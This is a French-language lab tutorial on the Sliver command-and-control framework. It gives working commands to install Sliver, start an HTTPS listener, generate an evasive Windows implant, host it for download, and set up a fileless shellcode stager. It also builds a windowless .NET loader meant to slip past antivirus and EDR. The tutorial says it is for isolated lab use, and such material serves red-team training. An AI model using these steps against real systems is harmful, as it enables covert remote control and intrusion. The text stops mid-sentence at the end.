Sliver C2 : prise en main

⚠️ Cadre légal. Ce guide est réalisé dans un environnement de test isolé et à des fins strictement éducatives. N'utilisez ces techniques que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite.

Le lab

Deux machines dans un réseau isolé :

une Kali Linux qui joue le serveur C2 Sliver ;
une Windows 10, notre machine « victime ».

Installation

Sur la Kali, on installe Sliver et on lance le service :

# Installation
curl https://sliver.sh/install | sudo bash
# Démarrage du service
sudo systemctl start sliver.service
# Console Sliver
sliver

Configurer le listener

Le listener est le point d'écoute auquel les implants viennent se connecter. On en démarre un en HTTPS :

sliver > https --lhost 192.168.1.93 --lport 443

--lhost : l'adresse IP d'écoute.
--lport : le port d'écoute.

Sliver supporte plusieurs protocoles pour le canal C2 : HTTP(S), mTLS, TCP et DNS.

Générer l'implant

sliver > generate --http https://192.168.1.93:443 --format exe --arch amd64 --evasion --save impl.exe

On héberge ensuite le binaire sur un petit serveur web pour que la cible le récupère :

python -m http.server 8080

Sliver est aujourd'hui bien connu des éditeurs de sécurité : un implant brut est souvent détecté tel quel. En l'état, c'est normal — on verra plus bas comment réduire la surface de détection avec un stager.

Interagir avec la session

Une fois l'implant exécuté, une session apparaît côté serveur. On la liste, puis on l'utilise :

sliver > sessions
sliver > use 67e3f139   # id de la session active
sliver > help           # catalogue des commandes

Les commandes sont exécutées sur la machine distante et les résultats remontent au serveur C2.

Aller plus loin : les stagers

Un stager est un petit composant initial dont le seul rôle est de télécharger puis exécuter le payload principal (le stage 2), idéalement directement en mémoire (fileless). Comme le stage 1 embarque très peu de code, il contourne plus facilement certains antivirus et EDR.

Dans Sliver, les stagers s'appuient sur les profiles :

sliver > profiles new --https 192.168.1.93 --format shellcode sliver-shellcode
sliver > stage-listener --url http://192.168.1.93:1234 --profile sliver-shellcode

Le stage 1 (un loader .NET minimal, par exemple) va chercher la shellcode à cette URL, l'allouer en mémoire exécutable et la lancer dans un thread. Compilation côté .NET :

dotnet new console
# ... on remplace Program.cs par le loader ...
dotnet publish -r win-x64 -p:PublishSingleFile=true --self-contained false

Pour exécuter sans fenêtre console, on remplace dans le .csproj la balise <OutputType>Exe</OutputType> par <OutputType>WinExe</OutputType>.

Prochaine étape

La suite logique : des shellcodes chiffrés pour réduire encore la détection. Deux lectures pour creuser :